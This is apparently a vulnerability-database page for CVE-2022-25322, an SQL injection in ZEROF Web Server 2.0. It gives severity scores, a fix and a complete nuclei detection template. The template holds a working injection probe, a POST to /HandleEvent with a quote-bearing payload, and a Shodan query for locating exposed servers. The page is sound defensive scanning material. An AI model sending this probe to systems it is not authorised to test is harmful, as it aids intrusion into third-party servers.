HexBrain

Browse / CVEs / CVE-2022-25322

CVE-2022-25322· zerof / web server· CWE-89

ZEROF Web Server 2.0 - SQL Injection

criticalseverity
9.8CVSS score
9.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

ZEROF Web Server 2.0 allows SQL Injection via the /HandleEvent endpoint. Attackers can exploit this vulnerability by manipulating the request parameters to execute arbitrary SQL queries.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 2.0.

How to confirm it

Send: GET /
Positive when: contains_all(body, "_S_ID", "<title>ZEROF Web Server</title>") and status_code == 200
Send: POST /HandleEvent
Positive when: contains "You have an error in your SQL syntax" AND contains in header "ZEROF Web Server" AND status 200

Run it with nuclei: nuclei -id CVE-2022-25322 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-25322

info:
  name: ZEROF Web Server 2.0 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    ZEROF Web Server 2.0 allows SQL Injection via the /HandleEvent endpoint. Attackers can exploit this vulnerability by manipulating the request parameters to execute arbitrary SQL queries.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 2.0.
  reference:
    - https://github.com/landigv/research/blob/main/cve/CVE-2022-25322.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25322
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25322
    cwe-id: CWE-89
    epss-score: 0.09578
    epss-percentile: 0.95511
    cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zerof
    product: web_server
    shodan-query: "Server: ZEROF Web Server"
  tags: cve,cve2022,zerof,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "_S_ID", "<title>ZEROF Web Server</title>")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: s_id
        internal: true
        group: 1
        regex:
          - '_S_ID="_S_ID=(.*?)";'

  - raw:
      - |
        POST /HandleEvent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 119

        Ajax=1&IsEvent=1&Obj=O33&Evt=keypress&this=O33&char=%0D&"_fp_=_S_ID={{s_id}}&O33=%020%02%02'&_seq_=2&_uo_=O0

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "You have an error in your SQL syntax"

      - type: word
        part: header
        words:
          - "ZEROF Web Server"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from